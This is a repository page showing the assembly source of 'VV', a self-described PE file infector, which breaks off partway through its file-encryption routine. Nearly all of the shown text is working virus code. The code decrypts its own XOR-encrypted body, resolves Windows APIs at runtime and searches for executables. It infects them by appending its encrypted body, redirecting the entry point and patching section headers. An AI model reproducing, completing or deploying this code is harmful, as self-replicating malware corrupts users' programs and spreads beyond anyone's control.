-
Notifications
You must be signed in to change notification settings - Fork 2
/
vv.asm
2006 lines (1738 loc) Β· 42.4 KB
/
vv.asm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; ;;
;; __/\\\________/\\\__/\\\________/\\\_ ;;
;; _\/\\\_______\/\\\_\/\\\_______\/\\\_ ;;
;; _\//\\\______/\\\__\//\\\______/\\\__ ;;
;; __\//\\\____/\\\____\//\\\____/\\\___ ;;
;; ___\//\\\__/\\\______\//\\\__/\\\____ ;;
;; ____\//\\\/\\\________\//\\\/\\\_____ ;;
;; _____\//\\\\\__________\//\\\\\______ ;;
;; ______\//\\\____________\//\\\_______ ;;
;; _______\///______________\///________ ;;
;; ;;
;; VV - very very sexy PE infector ;;
;; Β© Vlad Salnikov (XXXRef), 2009-2019 ;;
;; www.xxxref.com ;;
;; ;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;VV_VERSION=1.1
.386
.model flat, stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
.code
;TODO multiple asm files
LABEL_START:
;get delta offset
call LABEL_DELTA
LABEL_DELTA:
pop edi
sub edi,offset LABEL_DELTA;delta offset in edi
jmp LABEL_MAIN
;-----------------------------------------------------------
;in-WINAPI
; address,size,key address,key size
;-----------------------------------------------------------
Crypt proc
push ebp
mov ebp,esp
pushad
pushfd
mov esi,dword ptr[ebp+8];address
mov edx,dword ptr[ebp+0Ch];size
mov edi,dword ptr[ebp+10h];key address
mov ebx,dword ptr[ebp+14h];key size
mov ecx,0
LABEL_Crypt_cryptLoopBegin:
cmp ecx,edx;cmp size
jz LABEL_Crypt_cryptLoopEnd
push edx ;TODO - is it really necessary? edx val is meaningless
mov eax,ecx ;TODO lea eax, [ecx]
mov edx,0 ;TODO - is it necessary?
div ebx;in edx - eax%keysize
mov al,byte ptr [edi+edx]
mov dl,byte ptr [esi+ecx]
xor al,dl
mov byte ptr [esi+ecx],al ; TODO - xor byte ptr [esi+ecx],al
inc ecx;position
pop edx
jmp LABEL_Crypt_cryptLoopBegin
LABEL_Crypt_cryptLoopEnd:
popfd
popad
mov esp,ebp
pop ebp
push eax ;saving eax value
mov eax,dword ptr [esp+4];ret address
mov dword ptr [esp+14h],eax
pop eax
add esp,10h;esp on ret address
ret
Crypt endp
;----------------------------------------------------------------------------------------
LABEL_MAIN:
;Decrypt main body
push 4;key size
mov eax,offset key
add eax,edi
push eax;key address
mov eax,offset ending_crypto
sub eax,offset LABEL_MAIN_cryptoBodyBegin
push eax;size
mov eax,offset LABEL_MAIN_cryptoBodyBegin
add eax,edi
push eax;address
call Crypt;decrypt
jmp LABEL_MAIN_cryptoBodyBegin
cryptmarker_begin BYTE 0DEh,0ADh,0BEh,0EFh, 0FEh,0EDh,0FAh,0CEh
LABEL_MAIN_cryptoBodyBegin:
;Acquire WinAPI proc addresses
;Get kernel32 base addr
mov esi,dword ptr [esp];esp-return to kernel
call GetPEImageBase
;TODO Rework GetGetProcAddress -> GetProcAddr to get addr of arbitrary proc
push esi
call GetGetProcAddress; GetProcAddress address in eax
mov dword ptr [edi + offset _GetProcAddress],esi
mov ebx,offset CreateFileA_
add ebx, edi
push ebx
mov ebx,dword ptr [esp+4];kernel32.dll base
push ebx
call esi
mov dword ptr [edi+offset _CreateFileA],eax
mov ebx,offset ReadFile_
add ebx, edi
push ebx
mov ebx,dword ptr [esp+4]
push ebx
call esi
mov dword ptr [edi+offset _ReadFile],eax
mov ebx,offset SetFilePointer_
add ebx, edi
push ebx
mov ebx,dword ptr [esp+4]
push ebx
call esi
mov dword ptr [edi+offset _SetFilePointer],eax
mov ebx,offset WriteFile_
add ebx, edi
push ebx
mov ebx,dword ptr [esp+4]
push ebx
call esi
mov dword ptr [edi+offset _WriteFile],eax
mov ebx,offset CloseHandle_
add ebx, edi
push ebx
mov ebx,dword ptr [esp+4]
push ebx
call esi
mov dword ptr [edi+offset _CloseHandle],eax
mov ebx,offset LocalAlloc_
add ebx, edi
push ebx
mov ebx,dword ptr [esp+4]
push ebx
call esi
mov dword ptr [edi+offset _LocalAlloc],eax
mov ebx,offset LocalFree_
add ebx, edi
push ebx
mov ebx,dword ptr [esp+4]
push ebx
call esi
mov dword ptr [edi+offset _LocalFree],eax
mov ebx,offset FindFirstFileA_
add ebx, edi
push ebx
mov ebx,dword ptr [esp+4]
push ebx
call esi
mov dword ptr [edi+offset _FindFirstFileA],eax
mov ebx,offset FindNextFileA_
add ebx, edi
push ebx
mov ebx,dword ptr [esp+4]
push ebx
call esi
mov dword ptr [edi+offset _FindNextFileA],eax
mov ebx,offset GetLastError_
add ebx, edi
push ebx
mov ebx,dword ptr [esp+4]
push ebx
call esi
mov dword ptr [edi+offset _GetLastError],eax
mov ebx,offset MessageBoxA_
add ebx, edi
push ebx
mov ebx,dword ptr [esp+4]
push ebx
call esi
mov dword ptr [edi+offset _MessageBoxA],eax
;Search and infect other victims
;TODO - SearchEXE should only search, not infect
pop esi
mov esi,edi
add esi,offset path
call SearchEXE
;TODO execute Payload
;call Payload
;Redirect execution to original entry point
mov eax, offset LABEL_START
add eax,edi;lea eax,[edi+offset LABEL_START]
push ebx;TODO - ebx value is valueless
mov ebx, dword ptr [edi+offset my_entry_point]
sub eax,ebx;image base
mov ebx, dword ptr [edi+offset entry_point]
add eax,ebx
pop ebx
jmp eax
;----------------------------------------------------------------------------------------
;Description
; Performs infection
;in
; esi: exe ASCIIZ path
;----------------------------------------------------------------------------------------
Infect proc
pushad
pushfd
push NULL
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push NULL
mov eax, FILE_SHARE_READ
or eax,FILE_SHARE_WRITE
push eax
mov eax, GENERIC_READ
or eax, GENERIC_WRITE
push eax
push esi
call [edi+ offset _CreateFileA]
push eax; file handle in stack
mov eax,8
push eax
push LPTR
call [edi+ offset _LocalAlloc];need to call LocalFree
push eax;memory pointer in stack
mov eax,dword ptr [esp+4] ;hFile
push FILE_BEGIN
push NULL
push 3Ch
push eax
call [edi+ offset _SetFilePointer];file pointer on e_lfanew
mov eax,dword ptr [esp] ;hFile
push NULL
add eax,4
push eax
sub eax,4
push 4
push eax
mov eax,dword ptr [esp+14h]
push eax
call [edi+ offset _ReadFile];now offset of PE signature in memory
mov eax,dword ptr [esp]
mov ebx,dword ptr[eax]
push ebx;saving PE signature offset in stack
;Write VV signature
push FILE_BEGIN
push NULL
add ebx,4Ch;Reserved1 offset
push ebx
mov ebx, dword ptr [esp+14h]
push ebx
call [edi+ offset _SetFilePointer];now file pointer on Reserved1 field
mov eax,dword ptr[esp+4]
mov dword ptr[eax],0ABCDDCBAh
push NULL
add eax,4
push eax
sub eax,4
push 4
push eax
mov eax,dword ptr [esp+18h]
push eax
call [edi+ offset _WriteFile];writing signature
push FILE_BEGIN
push NULL
mov eax,[esp+8]
add eax,6
push eax
mov eax, dword ptr [esp+14h]
push eax
call [edi+ offset _SetFilePointer];file pointer on NumberOfSections field
push NULL
mov eax,dword ptr [esp+8]
add eax,4
push eax
sub eax,4
push 2
push eax
mov eax, [esp+18h]
push eax
call [edi+ offset _ReadFile]; NumberOfSections in memory
mov eax, dword ptr [esp+4]
mov ebx,0
mov bx, word ptr [eax]
push ebx;NumberOfSections in stack
mov eax, dword ptr [esp+4]
add eax,14h;offset of SizeOfOptionalHeader in eax
push FILE_BEGIN
push NULL
push eax
mov eax,dword ptr [esp+18h]
push eax
call [edi+ offset _SetFilePointer];file pointer on SizeOfOptionalHeader
push NULL
mov eax,dword ptr [esp+0Ch]
add eax,4
push eax
sub eax,4
push 2
push eax
mov eax, dword ptr [esp+1Ch]
push eax
call [edi+ offset _ReadFile];reading SizeOfOptionalHeader
pop ecx;NumberOfSections
call Incubation;finding last section field
mov ecx,eax
mov eax,0
loop1:;mul eax,28h
cmp ecx,0
jz end_loop1
add eax,28h
dec ecx
jmp loop1
end_loop1:
mov ebx, dword ptr [esp]
add eax, ebx;adding PE signature offset
mov ebx, dword ptr [esp+4];memory ptr
mov ecx,dword ptr [ebx];SizeOfOptionalHeader
and ecx,0FFFFh
add eax, ecx
add eax,18h;size of PE signature and _IMAGE_FILE_HEADER
push eax;offset of last section field in stack
;**************entry point************************
add eax, 0Ch;VirtualAddress
push FILE_BEGIN
push NULL
push eax
mov eax, dword ptr [esp+18h]
push eax
call [edi+offset _SetFilePointer];file pointer on VirtualAddress of last section field
mov eax,dword ptr[esp+8]
push NULL
add eax,4
push eax
sub eax,4
push 4
push eax
mov eax,dword ptr [esp+1Ch]
push eax
call [edi+offset _ReadFile];reading VirtualAddress of last section of last section field
mov eax, dword ptr [esp+08h]
mov ebx,dword ptr [eax]
push ebx;VirtualAddress in stack
push FILE_END
push NULL
push 0
mov eax, dword ptr [esp+1Ch]
push eax
call [edi+offset _SetFilePointer];file pointer on 1st byte after end of file
push eax; size of file in stack
mov eax, dword ptr [esp+8];last section
add eax,14h;PointerToRawData
push FILE_BEGIN
push NULL
push eax
mov eax, dword ptr [esp+20h]
push eax
call [edi+offset _SetFilePointer];file pointer on PointerToRawData of last section
mov eax,dword ptr[esp+10h]
push NULL
add eax,4
push eax
sub eax,4
push 4
push eax
mov eax,dword ptr [esp+24h]
push eax
call [edi+offset _ReadFile];reading PointerToRawData of last section
mov ebx,dword ptr[esp+10h]
mov eax, dword ptr [ebx]
pop ebx;size of file
sub ebx,eax;raw size size of last section + overlay
pop eax;VirtualAddress in eax
add eax,ebx;real entry point in eax
mov ebx,dword ptr [edi+ offset my_entry_point]
push ebx;my_entry_point in stack
mov dword ptr [edi+ offset my_entry_point],eax
mov ebx,dword ptr [edi+ offset entry_point]
push ebx;entry point of parent gen in stack
mov dword ptr [edi+ offset entry_point],eax
mov eax,dword ptr [esp+0Ch]
add eax,28h;offset of AddressOfEntryPoint
push FILE_BEGIN
push NULL
push eax
mov eax, dword ptr [esp+20h]
push eax
call [edi+offset _SetFilePointer];file pointer on AddressOfEntryPoint
mov eax,dword ptr[esp+10h]
push NULL
add eax,4
push eax
sub eax,4
push 4
push eax
mov eax,dword ptr [esp+24h]
push eax
call [edi+offset _ReadFile];reading ex entry point
mov eax,dword ptr [esp+10h]
mov ebx,dword ptr[eax];ex entry point
mov ecx, [edi+offset entry_point];real entry point
mov dword ptr [eax+4],ecx
mov ecx,dword ptr [eax]
mov [edi+offset entry_point],ecx;ex entry point in entry_point
mov eax,dword ptr [esp+0Ch]
add eax,28h;offset of AddressOfEntryPoint
push FILE_BEGIN
push NULL
push eax
mov eax, dword ptr [esp+20h]
push eax
call [edi+offset _SetFilePointer];file pointer on AddressOfEntryPoint
mov eax,dword ptr [esp+10h]
push NULL
push eax
add eax,4
push 4
push eax
mov eax,dword ptr [esp+24h]
push eax
call [edi+offset _WriteFile]
;**************entry point************************
;****************************Characteristics********************************
push FILE_BEGIN
push NULL
add eax,24h;Characteristics
push eax
mov eax,dword ptr [esp+20h]
push eax
call [edi+ offset _SetFilePointer];file pointer on Characteristics
push NULL
mov eax,dword ptr[esp+14h]
add eax,4
push eax
sub eax,4
push 4
push eax
mov eax,dword ptr[esp+24h]
push eax
call [edi+ offset _ReadFile];reading Characteristics
mov ebx, IMAGE_SCN_MEM_WRITE
or ebx, IMAGE_SCN_MEM_EXECUTE
or ebx, IMAGE_SCN_MEM_READ
or ebx, IMAGE_SCN_CNT_CODE;Characteristics in ebx
mov eax, dword ptr [esp+10h]
mov ecx, dword ptr [eax]
or ebx,ecx;final characteristics
mov dword ptr [eax],ebx
mov eax,dword ptr [esp+8]
push FILE_BEGIN
push NULL
add eax,24h;Characteristics
push eax
mov eax,dword ptr [esp+20h]
push eax
call [edi+ offset _SetFilePointer];file pointer on Characteristics
mov eax, dword ptr [esp+10h]
push NULL
add eax,4
push eax
sub eax,4
push 4
push eax
mov eax,[esp+24h]
push eax
call [edi+ offset _WriteFile];writing characteristics
;***************Characteristics**************************
;Inject body in target
;Inject right to the end
push FILE_END
push NULL
push 0
mov eax,dword ptr [esp+20h]
push eax
call [edi+ _SetFilePointer];file pointer on end of file
mov ecx,offset LABEL_MAIN_cryptoBodyBegin
sub ecx,offset LABEL_START; size of decryptor in ecx
add eax,ecx
push eax;size of file + size of decryptor in stack
mov eax,offset ending
sub eax,offset LABEL_START;body size in eax
mov ecx, dword ptr [esp+14h]
add ecx,4
push NULL
push ecx
push eax
mov eax,offset LABEL_START
add eax,edi
push eax
mov eax,[esp+28h]
push eax
call [edi+ offset _WriteFile];writing code
;Creating key
mov eax,dword ptr[esp+0Ch];offset of last section field
add eax, 14h;PointerToRawData
push FILE_BEGIN
push NULL
push eax
mov eax,dword ptr [esp+24h]
push eax
call [edi+ _SetFilePointer];filepointer on PointerToRawData
mov ecx, dword ptr [esp+14h]
add ecx,4
push NULL
push ecx
sub ecx,4
push 4
push ecx
mov eax,[esp+28h]
push eax
call [edi+ offset _ReadFile];reading PointerToRawData
mov ecx,dword ptr [esp+14h]
mov eax, dword ptr [ecx];PointerToRawData in eax
push FILE_BEGIN
push NULL
push eax
mov eax,dword ptr [esp+24h]
push eax
call [edi+ _SetFilePointer];filepointer on last section
mov ecx, dword ptr [esp+14h]
add ecx,4
push NULL
push ecx
sub ecx,4
push 4
push ecx
mov eax,[esp+28h]
push eax
call [edi+ offset _ReadFile];reading 4 bytes in beginning of last section
mov ecx,dword ptr [esp+14h]
mov eax, dword ptr [ecx];4 bytes in beginning of last section in eax
;now key 4 bytes size in eax
mov ecx,dword ptr [edi+offset key]
push ecx;old key on stack
mov dword ptr [edi+offset key],eax;new key (size: 4)
;Encrypting main body
push 4;key size
mov eax,offset key
add eax,edi
push eax
mov eax, offset ending_crypto
sub eax,offset LABEL_MAIN_cryptoBodyBegin;size to crypt
push eax
mov eax,dword ptr [esp+10h];size of file + size of decryptor in eax
push eax
mov eax,dword ptr [esp+2Ch];file handle
push eax
call FileCrypt
;Pass crypto marker
mov eax,[esp+1Ch] ;file handle
push FILE_CURRENT
push NULL
push 8 ; size of crypto marker
push eax
call [edi+ offset _SetFilePointer]
;Store key
mov eax,dword ptr [esp+18h];mem ptr
push NULL
push eax
push 4
mov eax,offset key
add eax,edi
push eax
mov eax,[esp+2Ch];file handle
push eax
call [edi+ offset _WriteFile] ;BOOL WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite,LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped);
;***********************Code Injecting**************************
pop eax;;size of file + size of decryptor in stack
pop eax
mov dword ptr [edi+offset key],eax;old key ressurection ;TODO - For what? Its not used later
pop eax
mov dword ptr [edi+ offset entry_point],eax;parent entry point ressurection
pop eax
mov dword ptr [edi+ offset my_entry_point],eax;parent my_entry_point ressurection
;************************File Alignment*************************
mov ebx,offset ending
sub ebx,offset LABEL_START; size of code
mov ecx,0
file_alignment_label:
cmp ebx, 200h
jl end_file_alignment_label
sub ebx,200h
inc ecx
jmp file_alignment_label
end_file_alignment_label:
inc ecx
mov ebx,0
mul_loop:
cmp ecx,0
jz end_mul_loop
dec ecx
add ebx,200h
jmp mul_loop
end_mul_loop:
;size aligned by FileAlignment in ebx
mov eax,offset ending
sub eax,offset LABEL_START; size of code
mov ecx,ebx
sub ecx,eax;amount of zeros to align in ecx
mov eax,dword ptr [esp+8];memory ptr
mov edx,0
mov dword ptr [eax],edx;fill with zeros
add_zeros_label:
cmp ecx,0
jz end_add_zeros_label
push ecx
push eax
push NULL
add eax,4
push eax
sub eax,4
push 1
push eax
mov eax,[esp+24h]
push eax
call [edi+ offset _WriteFile]
pop eax
pop ecx
dec ecx
jmp add_zeros_label
end_add_zeros_label:
;now file aligned
push FILE_BEGIN
push NULL
mov eax,dword ptr [esp+08h];last section offset
add eax,14h;PointerToRawData
push eax
mov eax,dword ptr [esp+18h]
push eax
call [edi+ _SetFilePointer]; file pointer on PointerToRawData
mov eax,dword ptr [esp+08h]
push NULL
add eax,4
push eax
sub eax,4
push 4
push eax
mov eax, dword ptr [esp+1Ch]
push eax
call [edi+ offset _ReadFile];reading PointerToRawData
push FILE_END
push NULL
push 0
mov eax,dword ptr [esp+18h]
push eax
call [edi+ _SetFilePointer]; file pointer on end of file, size of file in eax
mov ecx,dword ptr [esp+8];mem ptr
mov ebx,dword ptr [ecx];PointerToRawData in ebx
sub eax,ebx
mov dword ptr [ecx],eax;real SizeOfRawData
push FILE_BEGIN
push NULL
mov eax,dword ptr [esp+8];last section offset
add eax,10h;size of raw data
push eax
mov eax,dword ptr [esp+18h]
push eax
call [edi+ _SetFilePointer];file pointer on SizeOfRawData
mov ecx,dword ptr [esp+8]
push NULL
add ecx,4
push ecx
sub ecx,4
push 4
push ecx
mov eax,[esp+1Ch]
push eax
call [edi+ offset _WriteFile];writing real SizeOfRawData
;************************File Alignment*************************
;************************Section Alignment**********************
push FILE_BEGIN
push NULL
mov eax,dword ptr [esp+8];last section offset
add eax,10h; to _IMAGE_SECTION_HEADER.SizeOfRawData
push eax
mov eax,dword ptr [esp+18h]
push eax
call [edi+ _SetFilePointer];file pointer on SizeOfRawData
push NULL ;lpOverlapped
mov eax,dword ptr [esp+0Ch]
add eax,4
push eax ;lpNumberOfBytesRead
sub eax,4
push 4 ;nNumberOfBytesToRead
push eax ;lpBuffer
mov eax, dword ptr [esp+1Ch]
push eax ;hFile
call [edi+ offset _ReadFile];reading SizeOfRawData
mov eax,dword ptr[esp+8]
mov ebx,dword ptr[eax]
mov ecx,0
section_align_label1:
cmp ebx,1000h
jl end_section_align_label1
inc ecx
sub ebx,1000h
jmp section_align_label1
end_section_align_label1:
inc ecx
mov ebx,0
section_align_label2:
cmp ecx,0
jz end_section_align_label2
dec ecx
add ebx,1000h
jmp section_align_label2
end_section_align_label2:
;in ebx aligned SizeOfRawData
push ebx;aligned SizeOfRawData in stack
mov eax,dword ptr[esp+4]
add eax,8
push FILE_BEGIN
push NULL
push eax
mov eax,dword ptr [esp+1Ch]
push eax
call [edi+offset _SetFilePointer];file pointer on VirtualSize
mov eax,dword ptr [esp+0Ch]
push NULL
add eax,4
push eax
sub eax,4
push 4
push eax
mov eax,dword ptr [esp+20h]
push eax
call [edi+offset _ReadFile];reading VirtualSize
mov eax,dword ptr [esp+0Ch]
mov edx,dword ptr[eax]
mov ecx,0
section_align_label3:
cmp edx,1000h
jl end_section_align_label3 ; TODO ja jb ?
inc ecx
sub edx,1000h
jmp section_align_label3
end_section_align_label3:
inc ecx ;TODO if edx != 0
mov edx,0
section_align_label4:
cmp ecx,0
jz end_section_align_label4
dec ecx
add edx,1000h
jmp section_align_label4
end_section_align_label4:
;in edx aligned VirtualSize
mov ebx,dword ptr[esp]
sub ebx,edx; (aligned_SizeOfRawData - aligned_section_VirtualSize); in ebx value which need to add to ImageSize
mov eax,dword ptr[esp+8];PE signature offset
add eax,50h;SizeOfImage
push FILE_BEGIN
push NULL
push eax
mov eax,dword ptr [esp+1Ch]
push eax
call [edi+offset _SetFilePointer];file pointer on SizeOfImage
mov eax,dword ptr [esp+0Ch]
push NULL
add eax,4
push eax
sub eax,4
push 4
push eax
mov eax,dword ptr [esp+20h]
push eax
call [edi+offset _ReadFile];reading SizeOfImage
mov eax, dword ptr [esp+0Ch]
mov ecx,dword ptr [eax];in ecx old SizeOfImage
add ebx,ecx;real SizeOfImage
mov dword ptr [eax],ebx
mov eax,dword ptr[esp+8];PE signature offset
add eax,50h;SizeOfImage
push FILE_BEGIN
push NULL
push eax
mov eax,dword ptr [esp+1Ch]
push eax
call [edi+offset _SetFilePointer];file pointer on SizeOfImage
mov ecx,dword ptr [esp+0Ch]
push NULL
add ecx,4
push ecx
sub ecx,4
push 4
push ecx
mov eax,[esp+20h]
push eax
call [edi+ offset _WriteFile];writing real SizeOfImage
pop ebx; aligned SizeOfRawData in stack
mov eax, dword ptr [esp+8]
mov dword ptr [eax],ebx
mov eax,dword ptr[esp]
add eax,8
push FILE_BEGIN
push NULL
push eax
mov eax, dword ptr[esp+18h]
push eax
call [edi+offset _SetFilePointer];file pointer on VirtualSize
mov ecx,dword ptr [esp+8h]
push NULL
add ecx,4
push ecx
sub ecx,4
push 4
push ecx
mov eax,[esp+1Ch]
push eax
call [edi+ offset _WriteFile];writing real VirtualSize
;************************Section Alignment**********************
add esp,8
call [edi+offset _LocalFree]
call [edi+offset _CloseHandle]
popfd
popad
ret
Infect endp
;----------------------------------------------------------------------------------------
;calling convention:WINAPI
;in
; file handle 8,message_address C,message_size 10,key 14,key_size 18
;----------------------------------------------------------------------------------------
;TODO in must be filepath?
;TODO FileCrypt must be inside crypto_markers to encrypt it
FileCrypt proc
push ebp
mov ebp,esp
pushad
pushfd
mov eax,dword ptr [ebp+18h];key size
add eax,4;NumberOfBytesRead
push eax
mov eax,LPTR ;TODO - push LPTR?
push eax
call [edi+_LocalAlloc]
push eax;mem ptr in stack
mov eax,dword ptr[ebp+10h] ;buffer_size
mov ebx,dword ptr[ebp+18h] ;key size
mov edx,0
div ebx; eax - (keysizeblocks_amount-1); edx - additional_bytes_amount
mov ecx,eax
inc ecx;full amount of blocks (all full and 1 not full)
mov eax, dword ptr[ebp+0Ch];message address
push ecx
push edx
push FILE_BEGIN
push NULL ;TODO its no always NULL
push eax
mov eax,dword ptr [ebp+8];file handle
push eax
call [edi+_SetFilePointer];file pointer on message address ; file position in eax
pop edx
pop ecx
;ecx - full amount of blocks
LABEL_FileCrypt_cryptLoopBegin:
cmp ecx,0 ;TODO optimize?
jz LABEL_FileCrypt_cryptLoopEnd
cmp ecx,1 ;TODO optimize?
jnz LABEL_FileCrypt_NotLastBlock
mov ebx,edx;size
LABEL_FileCrypt_NotLastBlock:
push ecx
push edx;amount of bytes of not full block in stack
push eax;message pointer in stack
mov eax, dword ptr [esp+0Ch];mem ptr